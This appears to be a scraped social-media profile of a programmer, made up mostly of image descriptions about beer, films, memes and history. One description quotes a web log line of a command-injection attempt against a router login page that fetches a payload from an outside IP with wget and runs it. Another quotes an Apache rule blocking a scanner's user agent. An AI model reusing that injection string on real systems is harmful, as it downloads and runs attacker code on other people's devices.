Jonathan Stowe

@gellyfish.uk

627 Followers 641 Following

Computer Programmer, Tinkerer and Musician. Oh and beer Enthusiast, but I can do those other things while drinking beer.

Outside temperature sensor at 33.7

Goodyear blimp

Tonbridge Brewery IPA

Roy Keane

tardigrade with violin

Image from the film "The Mouse That Roared".

45.71.14.204 - - [13/Jun/2026:19:40:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://140.233.190.47/dlink%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 266 "-" "terrabot-owned-you" PID: 454611 139935059273408 0

Shiba INo with a gun chasing turkeys

Putin as a cosplay unicorn

My Name Children is Mr Gove.

Liar! Your name is Cunt.. My Mum Shouts it everytime you are on telly.

$RewriteEngine on RewriteCond %{HTTP_USER_AGENT} ^.*libredtail-http.*$ RewriteRule . - [R=403,L]$

Panoramic view of one of my live rigs.

It's All Fun And Games Until The Beer Runs Out ENGRAVED Vintage Look Wood Sign

https://www.etsy.com/listing/1143764088/its-all-fun-and-games-until-the-beer

A lot of browser tabs

Humza Punjabi Samosa

Three litre ten year old Christmas Ale

Oh yes we can. (Pantomime dames)

Superstition West Coast IPA. 7%.

Shepherd Neame First Drop

Disaster Girl

Showing temperature sensor with 26.6⁰C and humidity of 58.06%

Scene from the movie Zulu. "Zulus sir. Thousands of them"

The Ten Commandments (1956) - Edward G. Robinson as Dathan

lshw output showing NVidia graphics controller

Tardigrade playing a violin

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Sutton Hoo helmet discovered in 1939

Poster for Sunday Ukrainian service at church

Picardy Street Belvedere after being obliterated by bombs in 1940.

Tropic Thunder poster

The aliens guy

"The Mouse that Roared"

Columbo

McDonald's Milkshake

Does this face look bovvered?

Poster for the Clash at Tiffanys, Purley 18/12/1978

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Mortal Kombat - FINISH HIM!

Marvin the Paranoid Android

Prince Harry in Afghanistan with machine gun..

Expansion of Russia since 1547

http request log showing a persistently dumb skript kiddy trying to exploit something in PHP.